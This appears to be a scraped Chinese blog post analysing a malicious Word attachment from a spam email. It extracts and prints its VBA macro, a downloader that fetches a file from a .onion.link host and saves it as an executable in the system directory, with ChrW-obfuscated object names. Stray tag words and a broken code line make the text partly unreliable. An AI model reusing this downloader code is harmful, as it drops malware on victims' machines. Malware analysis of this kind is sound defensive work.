上週一(12月4號),朋友給我轉發了一封垃圾郵件,郵件裏面附帶一個word文檔,咱們倆都是搞信安,天然察覺一絲危險的氣味,以前也沒有分析過word附件,於是有了今天的分析。python
分析有風險,請在虛擬機上運行;且在分析以前要禁止word的宏自動運行git
能夠看到郵件的正文內容,是由一張圖片和一個附件組成,其中咱們要重點關注的就是。github
4.2 olevba 提取宏展現ubuntu
olevba -c xxx.doc
4.5 查看宏代碼
能夠看到這裏存在一段vb編寫的代碼,從調用WinHttpReq能夠猜出來,這一個word文檔的做用是一個下載器
windows
Sub Main Dim WinHttpReq As Object Set WinHttpReq = CreateObject("Microsoft.XMLHTTP") WinHttpReq.Open "GET", "http://ypg7rfjvfywj7jhp.onion.link/icon.jpg", False, "username", "password" WinHttpReq.send
以下圖,使用tor瀏覽器訪問對應的暗網連接,返回一個網頁來講明該暗網地址已經失效。
瀏覽器
Dim first5 As String Dim second5 As String Dim last5 As String first5 = ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101) second5 = ChrW(97) & ChrW(109) last5 = first5 + second5
其中重要的部分就是first5和second5中的ChrW,ChrW是將十進制的ascii值轉換爲ascii字符,於是能夠用python來作一個轉換。安全
first5 = "ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)" second5 = "ChrW(97) & ChrW(109)" def convert_vb2py(s): first_s = s.replace("ChrW","chr") second_s = first_s.replace("&","+") return second_s print eval(convert_vb2py(first5))+eval(convert_vb2py(second5))
最終咱們能夠獲得last5的值爲ADODB.Stream,它是vb中一個對象,用來與文件系統操做
bash
Step 3. 保存http://ypg7rfjvfywj7jhp.onion.link/icon.jpg 到本地文件ide
xyuhjnx = WinHttpReq.responseBody If WinHttpReq.Status = 200 Then Set oStream = CreateObject(last5) oStream.Open oStream.Type = Val("1FFF") oStream.Write WinHttpReq.responseBody Dim first6 As String Dim last6 As String first6 = ChrW(92) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(99) & ChrW(107) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) last6 = first6 oStream.SaveToFile Environ( "svchost.exe", Val("2FFF") oStream.Close End If End Sub
代碼獲取icon.jpg的內容,並建立一個Stream對象寫入icon.jpg的內容,而後保存到svchost.exe所在的目錄,也就是c:\windows\system32\目錄下,Val("2FFF")的值爲2,在adobe.stream的SaveToFile方法中,第二個參數表明覆蓋原來的文件。網站